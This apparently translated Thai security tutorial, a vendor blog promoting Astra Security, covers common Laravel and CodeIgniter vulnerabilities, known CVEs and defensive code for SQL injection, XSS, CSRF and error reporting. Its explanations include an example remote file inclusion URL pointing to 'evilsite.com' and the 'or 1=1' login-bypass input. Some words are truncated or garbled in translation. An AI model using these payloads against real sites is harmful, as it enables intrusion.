Computer >> บทช่วยสอนคอมพิวเตอร์ >  >> ระบบเครือข่าย >> ความปลอดภัยเครือข่าย

ป้องกันแฮกเกอร์: ช่องโหว่สำคัญในเว็บไซต์ Laravel และ CodeIgniter

Laravel และ CodeIgniter เป็นเฟรมเวิร์ก PHP โอเพนซอร์สยอดนิยมสำหรับสร้างเว็บไซต์ อย่างไรก็ตาม การปรับใช้เว็บไซต์ด้วยเฟรมเวิร์กเหล่านี้ไม่ได้ทำให้ปลอดภัยโดยอัตโนมัติ – การพัฒนาที่ปลอดภัย (secure development practices) ถึงเป็นสิ่งสำคัญ การโจมตี SQL Injection ใน CodeIgniter และ Laravel เป็นหัวข้อความปลอดภัยที่พบบ่อยที่สุดในฟอรั่มช่วยเหลือ นอกจาก SQLi แล้ว การพัฒนาที่ไม่ปลอดภยังทำให้เว็บไซต์เปราะบางต่อ XSS, CSRF, RFI และการโจมตีอื่นๆ

ตัวอย่างเว็บไซต์ Laravel/CodeIgniter ที่ถูกแฮก

การโจมตีทั่วไปอย่าง SQL Injection ใน CodeIgniter หรือ Laravel สามารถทำลายเว็บไซต์ได้ ผู้ใช้จำนวนมากที่ประสบการโจมตีคล้ายกันสามารถหาได้ในฟอรั่มชุมชน Laravel หรือ CodeIgniter – ตัวอย่างดังต่อไปนี้:

ป้องกันแฮกเกอร์: ช่องโหว่สำคัญในเว็บไซต์ Laravel และ CodeIgniter ป้องกันแฮกเกอร์: ช่องโหว่สำคัญในเว็บไซต์ Laravel และ CodeIgniter

อาการของการถูกแฮก CodeIgniter หรือ Laravel

  • พบหน้าลับลวง (phishing pages) ของ Laravel หรือ CodeIgniter ที่ออกแบบมาเพื่อขโมยข้อมูลสำคัญบนเว็บไซต์ของคุณ
  • ผู้ใช้ร้องเรียนว่าถูกเปลี่ยนเส้นทาง (redirect) ไปยังเว็บไซต์อันตราย
  • พบเนื้อหาที่ไร้ความหมายบนเว็บไซต์ Laravel หรือ CodeIgniter เนื่องจาก Japanese Keyword Hack หรือ Pharma Hack เป็นต้น
  • เว็บไซต์ Laravel หรือ CodeIgniter ทำงานช้ามากและแสดงข้อความผิดพลาด
  • ขณะใช้โฮสติ้งของบุคคลที่สาม ข้อความ "Your account has been suspended!" ปรากฏขึ้น
  • เว็บไซต์ Laravel หรือ CodeIgniter ถูกแบนโดยเครื่องมือค้นหา
  • บันทึกข้อผิดพลาด (Error logs) แสดงการโจมตีบางอย่าง เช่น SQL Injection ใน CodeIgniter บนเว็บไซต์ของคุณ
  • บันทึกแสดงการเข้าสู่ระบบเว็บไซต์จาก IP ระยะไกล
  • ผู้ดูแลระบบใหม่ ที่ไม่ได้รับอนุญาต (rogue admins) ปรากฏในฐานข้อมูลล็อกอินของเว็บไซต์

ช่องโหว่และการโจมตีทั่วไป

1) การโจมตีแบบ Injection ใน CodeIgniter/Laravel

ก) SQL Injection

SQL Injection ใน CodeIgniter เป็นการโจมตีที่พบบ่อยและแพร่หลาย การโจมตีนี้มุ่งเป้าฐานข้อมูลของเซิร์ฟเวอร์ ด้วยการใช้ประโยชน์จาก SQL Injection ใน CodeIgniter โจมตีสามารถ:

  • ดึงข้อมูลจากฐานข้อมูล
  • แก้ไขเนื้อหาของฐานข้อมูล พวกเขายังสามารถลบฐานข้อมูลทั้งหมดได้!
  • ในบางกรณี พวกเขาสามารถได้ reverse shell
  • ข้ามการตรวจสอบสิทธิ์ (bypass authentication) โดยใช้ข้อมูลนำเข้าเช่น or 1=1

ข) PHP Code Injection

PHP Code Injection เป็นช่องโหว่ทั่วไปอีกประเภทหนึ่งที่อนุญาตให้โจมตีรันโค้ดบนเว็บไซต์ Laravel/CodeIgniter อย่างไรก็ตาม มันแตกต่างจาก Command Injection อยู่ที่โจมตีสามารถรันคำสั่งของภาษานั้นๆ เท่านั้น

Command Injection อนุญาตให้โจมตีรันคำสั่งผ่าน reverse shell ตัวอย่างเช่น พารามิเตอร์ที่เปราะบางสามารถจัดหาลิงก์ไปยังไฟล์อันตรายที่มีโค้ด PHP เพื่อรัน เช่น https://testsite.com/?page=https://evilsite.com/evilcode.php

ไฟล์นี้อาจมีฟังก์ชันเช่น phpinfo() ซึ่งสามารถใช้เพื่อขโมยข้อมูล

2) Cross-Site Scripting (XSS)

ช่องโหว่ XSS เกิดขึ้นในเว็บไซต์ Laravel/CodeIgniter เนื่องจากขาดการทำความสะอาดข้อมูลนำเข้า (input sanitization) ทั้งสองเฟรมเวิร์กมีฟังก์ชันความปลอดภัยที่ออกแบบมาเพื่อป้องกันการโจมตีเหล่านี้ โดยการใช้ประโยชน์จาก XSS โจมตีสามารถ:

  • หลอกลวงผู้ใช้เพื่อขโมยคุกกี้และข้อมูลเซสชันสำคัญอื่นๆ
  • เปลี่ยนเส้นทางผู้ใช้ไปยังเว็บไซต์อันตราย
  • ข้ามนโยบาย same-origin policy

3) Cross-Site Request Forgery (CSRF)

การโจมตีนี้มุ่งหลอกลวงผู้ใช้ให้ทำการกระทำที่ไม่พึงประสงค์ อย่างไรก็ตาม มันสามารถใช้เพื่อจัดการข้อมูลได้เท่านั้น (เช่น ลบฟอร์ม) แต่ไม่สามารถขโมยหรืออ่านข้อมูลได้ ในสถานการณ์แย่ที่สุด หากเหยื่อคือผู้ดูแลระบบ แอปพลิเคชันทั้งหมดอาจถูกทำลาย การโจมตีนี้ใช้กลโกงทางสังคม (social engineering) หลอกเหยื่อให้คลิกลิงก์ที่รันคำสั่งอย่างการลบบัญชีในพื้นหลัง

นอกจากช่องโหว่ทั่วไปเหล่านี้แล้ว นี่คือช่องโหว่เฉพาะของ CodeIgniter และ Laravel:

4) ช่องโหว่ที่ทราบใน CodeIgniter

  • Privilege Escalation (CVE-2020-10793):
    CodeIgniter ผ่านเวอร์ชัน 4.0.0 อนุญาตให้โจมตีระยะไกลได้รับสิทธิ์ผ่าน Email ID ที่แก้ไขแล้วไปยังหน้า "Select Role of the User"

  • Session Fixation (CVE-2018-12071):
    ปัญหา Session Fixation มีอยู่ใน CodeIgniter ก่อนเวอร์ชัน 3.1.9 เนื่องจาก session.use_strict_mode ใน Session Library ถูกจัดการผิดพลาด

  • XML External Entity Issue (CVE-2015-3907):
    CodeIgniter Rest Server (aka codeigniter-restserver) 2.7.1 อนุญาตให้เกิดการโจมตี XXE

5) ช่องโหว่ที่ทราบใน Laravel

  • Debug mode: Remote code execution (CVE-2021-3129)
    ช่องโหว่ RCE ถูกค้นพบใน laravel CMS (เวอร์ชัน Laravel <= v8.4.2 ในปลายพฤศจิกายน 2020 (แหล่งที่มา)

  • Information Exposure (CVE-2020-13909):
    หน้า Ignition ก่อนเวอร์ชัน 2.0.5 สำหรับ Laravel จัดการ globals, _get, _post, _cookie, และ _env ผิดพลาด อนุญาตให้โจมตีระยะไกลเข้าถึงข้อมูลที่อาจเป็นความลับได้

  • Deserialization (CVE-2019-9081):
    คอมโพเนนต์ Illuminate ของ Laravel Framework 5.7.x มีช่องโหว่ deserialization ที่อาจนำไปสู่ remote code execution หากเนื้อหาสามารถควบคุมได้ เกี่ยวข้องกับเมธอด __destruct ของคลาส PendingCommand ใน PendingCommand.php

เว็บไซต์ของคุณที่ใช้ Laravel หรือ CodeIgniter ถูกแฮก? ส่งข้อความผ่านแชทวิดเจ็ต

การปกป้องเว็บไซต์ CodeIgniter/Laravel ของคุณ

การหลีกเลี่ยง SQL Injection ใน CodeIgniter

CodeIgniter มาพร้อมกับคุณสมบัติความปลอดภัยมากมาย บางอย่างรวมถึงฟังก์ชันและไลบรารีเพื่อป้องกัน SQL injection นี่คือ 3 วิธีที่คุณสามารถใช้คุณสมบัติเหล่านี้เพื่อป้องกันการโจมตี:

1. การ Escape Queries ใน CodeIgniter

การ Escape ข้อมูลก่อนส่งไปยังแอปพลิเคชัน PHP จะทำให้ข้อมูลสะอาดขึ้น เป็นแนวปฏิบัติด้านความปลอดภัยที่ต้องปฏิบัติอย่างสม่ำเสมอ การ Escape queries สามารถทำได้ 3 วิธี:

  1. $this->db->escape(): กำหนดชนิดข้อมูลก่อน escape
  2. $this->db->escape_str(): ไม่กำหนดชนิดข้อมูล เพียงแค่ escape อย่างเดียว
  3. $this->db->escape_like_str(): ใช้กับเงื่อนไขได้

ตัวอย่างโค้ดด้านล่าง:

<?php
$email= $this->input->post('email');
$query = 'SELECT * FROM subscribers_tbl WHERE user_name='.$this->db->escape($email);
$this->db->query($query);
?>

ในโค้ดนี้ ฟังก์ชัน $this->db->escape() กำหนดชนิดข้อมูลก่อน เพื่อ escape เฉพาะข้อมูลสตริง มันยังเพิ่มเครื่องหมายคำพูดเดี่ยวรอบข้อมูลนำเข้าอัตโนมัติ ซึ่งป้องกัน SQL Injection ใน CodeIgniter

2. Binding Queries ใน CodeIgniter

นอกจากการทำความสะอาดข้อมูลนำเข้าแล้ว การ Binding queries ยังช่วยลดความซับซ้อนของโค้ดในเว็บไซต์ CodeIgniter วิธีนี้ให้ระบบจัดการ queries โดยลดความซับซ้อนสำหรับนักพัฒนา ตัวอย่างโค้ด:

<?php $sql = "SELECT * FROM subscribers_tbl WHERE status = ? AND email= ?"; $this->db->query($sql, array('active', 'admin@wsxdn.com'));?>

ที่นี่คุณอาจสังเกตเห็นเครื่องหมายคำถามแทนค่าในบรรทัดแรก เนื่องจาก query binding เครื่องหมายคำถามเหล่านี้จะถูกแทนที่ด้วยค่าจากอาเรย์ในบรรทัดที่สอง ในตัวอย่างก่อนหน้า เราเห็นการ escape query แบบ manual ที่นี่ วิธีนี้ทำได้อัตโนมัติ จึงหยุด SQL Injection ใน CodeIgniter ได้

3. Active Class Record ใน CodeIgniter

คุณสมบัติ Active Records ของ CodeIgniter ช่วยให้เราดำเนินการกับฐานข้อมูลด้วยโค้ดหรือสคริปต์น้อยที่สุด เนื่องจากเป็นฟังก์ชันของระบบเอง การ escape query จึงทำได้อัตโนมัติ ตัวอย่างเช่น ดึงข้อมูลทั้งหมดของตารางด้วย query เดียวง่ายๆ:

$query = $this->db->get('mytable');

การหลีกเลี่ยง SQL Injection ใน Laravel

Object-relational mapping ใน Laravel ใช้ PHP object data binding เพื่อทำความสะอาดข้อมูลนำเข้าของผู้ใช้ ซึ่งป้องกัน SQL injection Laravel Parameter binding ยังเพิ่มเครื่องหมายคำพูดอัตโนมัติ ป้องกันการนำเข้าอันตรายเช่น or 1=1 จากการข้ามการตรวจสอบสิทธิ์

นี่คือการใช้งาน named binding query ใน Laravel:

$results = DB::select('select * from users where id = :id', ['id' => 1]);

การหลีกเลี่ยง Cross-Site Scripting ใน CodeIgniter

เพื่อป้องกันการโจมตี XSS ที่เป็นไปได้ CodeIgniter มาพร้อมกับ XSS filter สำเร็จรูป หากฟิลเตอร์นี้พบคำขออันตราย จะแปลงเป็น character entity เพื่อให้แอปพลิเคชันปลอดภ ฟิลเตอร์นี้เข้าถึงได้ผ่านเมธอด xss_clean():

$data = $this->security->xss_clean($data);

อย่างไรก็ตาม บางครั้งโจมตีอาจฉีดโค้ดอันตรายภายในไฟล์รูปภาพ เพื่อป้องกันการโจมตีแบบนี้ ไฟล์ที่อัปโหลดก็ควรตรวจสอบความปลอดภ ตัวอย่างโค้ด:

if ($this->security->xss_clean($file, TRUE) === FALSE)
{
// file failed the XSS test
}

โค้ดนี้จะคืนค่า Boolean True หากรูปภาพปลอดภ และในทางกลับกัน อย่างไรก็ตาม ควรทราบว่าน่าจะใช้เมธอด html_escape() หากต้องการกรองค่าแอตทริบิวต์ HTML

การหลีกเลี่ยง Cross Site Scripting ใน Laravel

การใช้ escape string สามารถป้องกันการโจมตี XSS ในเว็บไซต์ Laravel Escape strings จะป้องกันไม่ให้ข้อมูลนำเข้าที่ไม่ได้ทำความสะอาดถูกนำไปใช้ ใน Laravel เวอร์ชัน > 5.1 คุณสมบัตินี้เปิดใช้งานโดยค่าเริ่มต้น ดังนั้น เมื่อมีการนำเข้าข้อมูลเช่น <div>{{ $task->names }}</div> ให้กับ Laravel เวอร์ชันสูงกว่า 5.1 แอปพลิเคชันจะไม่เปราะบางเนื่องจาก query escaping อัตโนมัติ

การจำกัดความยาวของข้อมูลนำเข้าจากผู้ใช้ก็สามารถป้องกันบางประเภทของ XSS และ SQLi ได้ สามารถทำได้ผ่านโค้ด HTML ด้านล่าง:

<input type="text" name="task" maxlength="10">

สิ่งเดียวกันสามารถทำได้ผ่านฟังก์ชัน JS ไวยากรณ์ {% raw %} {{}} {% endraw %} ใน Laravel สามารถ escape HTML entities อันตรายได้โดยค่าเริ่มต้น

มีไลบรารีบางตัวที่ออกแบบมาเฉพาะเพื่อป้องกัน Laravel XSS หากคุณใช้ template engine อย่าง Blade มันจะใช้ escaping อัตโนมัติเพื่อป้องกันการโจมตีเหล่านี้

การป้องกัน CSRF Attacks ใน CodeIgniter

การป้องกัน CSRF สามารถเปิดใช้งานใน CodeIgniter ได้โดยแก้ไขไฟล์ application/config/config.php เพียงเพิ่มโค้ดต่อไปนี้ลงในไฟล์:

$config['csrf_protection'] = TRUE;

หากคุณใช้ Form Helper คุณสามารถใช้ฟังก์ชัน form_open() เพื่อแทรกฟิลด์ CSRF token แบบซ่อนในฟอร์มโดยค่าเริ่มต้น อีกวิธีหนึ่งคือใช้ get_csrf_token_name() และ get_csrf_hash() สำหรับอ้างอิง ดูตัวอย่างโค้ดฟอร์มและการใช้งานฝั่งเซิร์ฟเวอร์ด้านล่าง:

<input type="hidden" name="<?=$csrf['name'];?>" value="<?=$csrf['hash'];?>" />

——————————————————————–

$csrf = array(
'name' => $this->security->get_csrf_token_name(),
'hash' => $this->security->get_csrf_hash());

การสร้าง token ใหม่ (Regeneration) เป็นแนวปฏิบัติปลอดภอีกอย่างหนึ่งเพื่อป้องกัน CSRF ใน CodeIgniter อย่างไรก็ตาม การสร้าง token ใหม่อาจก่อให้เกิดปัญหา เนื่องจากผู้ใช้อาจต้องยืนยันตัวตนใหม่หลังจากไปแท็บอื่น การสร้าง token ใหม่สามารถทำได้โดยพารามิเตอร์ config นี้:

$config['csrf_regenerate'] = TRUE;

การป้องกัน CSRF Attacks ใน Laravel

Tokens ถูกนำไปใช้ในฟอร์ม Laravel เพื่อป้องกัน CSRF Tokens นี้จะถูกเรียกผ่าน AJAX call ที่ฝังอยู่ในแต่ละฟอร์ม ข้อมูลจาก request token จะถูกจับคู่กับ token ที่เก็บบนเซิร์ฟเวอร์สำหรับเซสชันของผู้ใช้ เพื่อตรวจสอบความผิดปกติ CSRF tokens สามารถส่งผ่านฟอร์มได้โดยใช้โค้ดต่อไปนี้ (Blade Templates Implementation):

<form name="CSRF Implementation">
{!! csrf_field() !!}
<!-- Other inputs can come here-->
</form>

อย่างไรก็ตาม CSRF token สามารถเพิ่มได้โดยค่าเริ่มต้นขณะใช้แพ็กเกจ LaravelCollective/HTML

การบล็อก Error Reporting ใน CodeIgniter

ข้อผิดพลาดของไฟล์ช่วยได้ในสภาพแวดล้อมการพัฒนา อย่างไรก็ตาม บนเว็บ ข้อผิดพลาดไฟล์ของ CodeIgniter อาจรั่วไหลข้อมูลสำคัญไปยังโจมตี ดังนั้น การปิด error reporting จึงเป็นแนวปฏิบัติที่ปลอดภ

PHP Errors

เพื่อปิด PHP error reporting ใช้ไฟล์ index.php เพียงส่งศูนย์เป็นอาร์กิวเมนต์ให้ฟังก์ชัน error_reporting() ตัวอย่าง:

error_reporting(0);

อย่างไรก็ตาม สำหรับ CodeIgniter เวอร์ชัน 2.0.1 ขึ้นไป ค่าคงที่ environment ในไฟล์ index.php สามารถตั้งค่าเป็น "production" เพื่อปิดการแสดงผลข้อผิดพลาด PHP

Database Errors

ข้อผิดพลาดฐานข้อมูลสามารถปิดได้โดยแก้ไขไฟล์ application/config/database.php เพียงตั้งค่า db_debug เป็น FALSE ตัวอย่าง:

$db['default']['db_debug'] = FALSE;

Error Logging

วิธีที่ฉลาดกว่าคือการส่งข้อผิดพลาดที่เกิดขึ้นไปยังไฟล์ log ซึ่งจะป้องกันไม่ให้แสดงผลออกมา ตัวเลือก log_threshold ในไฟล์ /config/config.php สามารถตั้งค่าเป็น 1 เพื่อวัตถุประสงค์นี้ ตัวอย่าง:

$config['log_threshold'] = 1;

ใช้ Web Application Firewall สำหรับ Laravel หรือ CodeIgniter

โจมตีกำลังค้นหาวิธีใหม่ๆ เพื่อบุกเว็บไซต์ของคุณตลอดเวลา ดังนั้น แนวปฏิบัติปลอดภอีกอย่างคือการใช้ไฟร์วอลล์หรือโซลูชันความปลอดภบางอย่าง Astra Security เป็นโซลูชันความปลอดภหนึ่งที่ออกแบบมาเพื่อตอบสนองความต้องการที่ยืดหยุ่นของคุณ เพียงส่งข้อความผ่านแชทวิดเจ็ตและ邁進สู่การรักษาความปลอดภเว็บไซต์ รับ demo ตอนนี้!

ป้องกันแฮกเกอร์: ช่องโหว่สำคัญในเว็บไซต์ Laravel และ CodeIgniter

Astra Security ให้การตรวจสอบความปลอดภครบวงจรสำหรับเว็บไซต์ Laravel หรือ CodeIgniter ของคุณด้วย 80+ การทดสอบที่ใช้งานอยู่ ผสมผสานระหว่างการทดสอบอัตโนมัติและด้วยมืออย่างเหมาะสม